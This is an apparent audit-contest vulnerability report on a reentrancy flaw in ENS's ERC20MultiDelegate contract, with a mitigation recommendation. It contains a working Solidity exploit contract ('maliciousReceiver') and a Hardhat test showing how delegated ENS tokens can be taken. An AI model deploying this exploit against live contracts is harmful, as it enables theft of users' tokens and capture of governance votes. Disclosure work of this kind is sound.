c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L144-L149

Vulnerability details

Impact

The impact of this critical vulnerability is significant. The vulnerable code in the ERC20MultiDelegate contract allows malicious users to steal delegate tokens stored in all ERC20ProxyDelegator contracts, potentially leading to unauthorized token transfers and governance privilege escalation.

Following nickjohson message on Discord :

The target is $ens, but it should be audited with the assumption it may be used with any non-malicious token contract that implements the interface.

In a scenario involving a non-malicious token contract that interacts with the receiver contract on transfer, a user could exploit a vulnerability to use any $ENS tokens stored in ERC20ProxyDelegator contracts. In the worst-case scenario, if a sufficient number of tokens are using the ERC20MultiDelegate contract, malicious users could gain control of all governance privileges associated with these tokens.

Proof of Concept

The vulnerability lies in the _reimburse function, where there is no source check, and msg.sender is not necessarily the initial owner of the delegate tokens. Here is the vulnerable code snippet:

function _reimburse(address source, uint256 amount) internal {
    // Transfer the remaining source amount or the full source amount
    // (if no remaining amount) to the delegator
    address proxyAddressFrom = retrieveProxyContractAddress(token, source);
    token.transferFrom(proxyAddressFrom, msg.sender, amount);
}

In a standard case, this function reverts when tokens are burned, as msg.sender cannot burn tokens if he is not the owner of it. However, for example, a non-malicious ERC20Votes tokens can call the receiver after transfer to execute an "onReceive" function. For example, let's take the ENSToken.sol contract, and modifiy this function:

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        if (to.code.length > 0) {
            // Token recipient is a contract, notify them
            try IERC20Receiver(to).onERC20Receive(from, amount) returns (bool success) {
                require(success);
            } catch {
                // the notification failed (maybe they don't implement the `IERC20Receiver` interface?)
            }
        }
        super._afterTokenTransfer(from, to, amount);
    }

The token implements the initial interface, and it is not malicious.

In this case, a malicious receiver can call the ERC20MultiDelegate contract on receive, minting tokens with the received ones to the initial target address. Upon returning to the _reimburse function, it will not revert because msg.sender possesses tokens, allowing the malicious user to receive tokens, before giving them back. It looks like an undesired flash loan.

Here is a PoC, done with the modification of ENSToken.sol above:

diff --git a/contracts/ENSTokenInit.sol b/contracts/ENSToken.sol
index 138c3a7..b450df7 100644
--- a/contracts/ENSTokenInit.sol
+++ b/contracts/ENSToken.sol
@@ -8,6 +8,10 @@ import "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
 import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol";
 import "@openzeppelin/contracts/utils/structs/BitMaps.sol";

+interface IERC20Receiver{
+    function onERC20Receive(address from, uint256 amount) external returns (bool success);
+}
+
 /**
  * @dev An ERC20 token for ENS.
  *      Besides the addition of voting capabilities, we make a couple of customisations:
@@ -116,6 +120,12 @@ contract ENSToken is ERC20, ERC20Permit, ERC20Votes, Ownable {
         internal
         override(ERC20, ERC20Votes)
     {
+        if (to.code.length > 0) {
+            // If recipient is a contract, notify it
+            try IERC20Receiver(to).onERC20Receive(from, amount) returns(bool) {
+                //do nothing
+            } catch {}
+        }
         super._afterTokenTransfer(from, to, amount);
     }

Without a malicious receiver, all tests are ok. Now let's create a malicious contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "./ERC20MultiDelegate.sol";
import "./ENSToken.sol";
import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";

contract maliciousReceiver is ERC1155Holder {
    ERC20MultiDelegate tokenMultiDelegate;
    ENSToken tokenENS;
    uint256 sourceToSteal;
    uint256[] emptyArray;

    constructor (address _tokenMultiDelegate, address _tokenENS) {
        tokenMultiDelegate = ERC20MultiDelegate(_tokenMultiDelegate);
        tokenENS = ENSToken(_tokenENS);
    }

    function onERC20Receive(address from, uint256 amount) external returns (bool) {
        uint256[] memory targets = new uint256[](1);
        targets[0] = sourceToSteal;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = amount;

        // Give back tokens
        tokenENS.approve(address(tokenMultiDelegate), amount);
        tokenMultiDelegate.delegateMulti(emptyArray, targets, amounts);
        return true;
    }

    function hack(uint256 source, uint256 amount) external {
        sourceToSteal = source;
        uint256[] memory sources = new uint256[](1);
        sources[0] = source;
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = amount;
        tokenMultiDelegate.delegateMulti(sources, emptyArray, amounts);

        // The hacker is now the owner of tokens. He can perform what he wants with it:
        // - Vote (depending on the governance contract)
        // - Receive airdrops (depending on the $ens)
        // - Perform arbitrage/price manipulation
        // - ...
        console.log("Balance:", tokenENS.balanceOf(address(this)));
    }
}

At the end of the hack function, the contract is the owner of tokens. Depending on the governance contract, the hacker can perform different attacks.

Here is a modification of the delegatemulti.js test that can be used as a PoC.

index e557d4e..e16911f 100644
--- a/test/delegatemultiinit.js
+++ b/test/delegatemulti.js
@@ -91,6 +91,7 @@ describe('ENS Multi Delegate', () => {
   let registry;
   let snapshot;
   let multiDelegate;
+  let maliciousReceiver;

   before(async () => {
     ({ deployer, alice, bob, charlie, dave } = await getNamedAccounts());
@@ -128,6 +129,10 @@ describe('ENS Multi Delegate', () => {
     await increaseTime(365 * 24 * 60 * 60);
     const mintAmount = (await token.totalSupply()).div(50);
     await token.mint(deployer, mintAmount);
+
+    const MaliciousReceiver = await ethers.getContractFactory('maliciousReceiver');
+    maliciousReceiver = await MaliciousReceiver.deploy(multiDelegate.address, token.address);
+    await maliciousReceiver.deployed();
   });

   afterEach(async () => {
@@ -597,6 +602,28 @@ describe('ENS Multi Delegate', () => {
       ).to.be.revertedWith('ERC20: transfer amount exceeds balance');
     });

+    it('should fail to withdraw because user has no token', async () => {
+      const delegatorTokenAmount = await token.balanceOf(deployer);
+      // const customAmount = ethers.utils.parseEther('10000000.0'); // ens
+
+      // give allowance to multi delegate contract
+      await token.approve(multiDelegate.address, delegatorTokenAmount);
+      // delegate multiple delegates
+      const delegates = [alice];
+      console.log('Alice: ', alice)
+      const amounts = delegates.map(() => delegatorTokenAmount);
+
+      await multiDelegate.delegateMulti([], delegates, amounts);
+
+      await maliciousReceiver.hack(alice, delegatorTokenAmount);
+
+      //expect(await multiDelegate.balanceOf(maliciousReceiver.address, alice)).to.equal(delegatorTokenAmount);
+      expect(await multiDelegate.balanceOf(deployer, alice)).to.equal(delegatorTokenAmount);
+
+      //expect(await token.balanceOf(maliciousReceiver.address)).to.equal(delegatorTokenAmount);
+
+    });
+
     it('should fail to withdraw if delegate was not delegated', async () => {
       const delegatorTokenAmount = await token.balanceOf(deployer);
       // const customAmount = ethers.utils.parseEther('10000000.0'); // ens

It does not revert, showing that any user can perform a "flash loan" on $ens tokens using this MultiDelegate contract.

Tools Used

Manual, Hardhat tests

Recommended Mitigation Steps

To mitigate this vulnerability, it is recommended to implement a reentrancy guard within the delegateMulti function. This guard will prevent any other contract from calling the delegateMulti function before it completes its execution, thus protecting against reentrancy attacks.

I recommend using OpenZeppelin ReentrancyGuard.sol library.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

Note for judge

This vulnerability has significant implications as the audit for this contract extends to "any non-malicious token contract that implements the interface". The provided Proof of Concept (PoC) serves as an illustrative example of a token that could be vulnerable. It's important to emphasize that any token implementing external contract calls can potentially be exposed to this vulnerability.